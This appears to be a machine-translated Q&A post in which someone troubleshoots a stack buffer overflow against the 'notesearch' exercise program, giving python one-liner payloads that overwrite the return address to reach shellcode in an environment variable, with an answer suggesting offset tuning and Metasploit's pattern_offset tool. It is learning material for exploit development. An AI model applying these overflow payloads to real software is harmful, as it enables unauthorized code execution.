我在环境变量中存储了一些shellcode,并且正在尝试溢出程序。
./notesearch $(python -c 'print "\x01\x01\x01\x01\x01\x01\x01\x01" * 15 + "\x9e\xe7\xff\xff\xff\x7f"')
在GDB中运行时溢出效果非常好,因为它会让我回到shell。但是,在GDB之外的事情并没有那么顺利。我关闭了ASLR,它最初给了我问题,直到我最终解决了这个问题,现在我正在使用C函数getenv()来获取我正在溢出程序的确切变量。我确信我正在填充保存的帧完美,因为当我从代码中删除最后6个字节时,我溢出程序时它不会出现错误,
./notesearch $(python -c 'print "\x01\x01\x95\xe6\xff\xff\xff\x7f" * 15') #no seg fault
然而,当我向字符串添加单个字节后,它意味着我必须用最后一个字节命中保存的帧指针,如GDB进一步确认的那样。
./notesearch $(python -c 'print "\x01\x01\x95\xe6\xff\xff\xff\x7f" * 15 + "\x9e"') # does seg fault
无论如何,我还编译了gcc notesearch.c -o notesearch -ggdb -fno-stack-protector -z execstack
,正如我之前说的那样,无论如何都在GDB中工作,所以我假设它更多的内核保护?有什么想法吗?
答案 0 :(得分:1)
根据我的经验,在使用gdb观察某些东西时进行漏洞利用开发,内存偏移可能会在调试环境和“真实世界”之间意外地发生变化。
作为一个建议,如果你只想强行它,尝试在任一方向调整1到8个字节的偏移量。更好的是,试试这个:
ulimit -c nolimit
)有了这个,从tools / pattern_offset.rb获得精确的偏移量!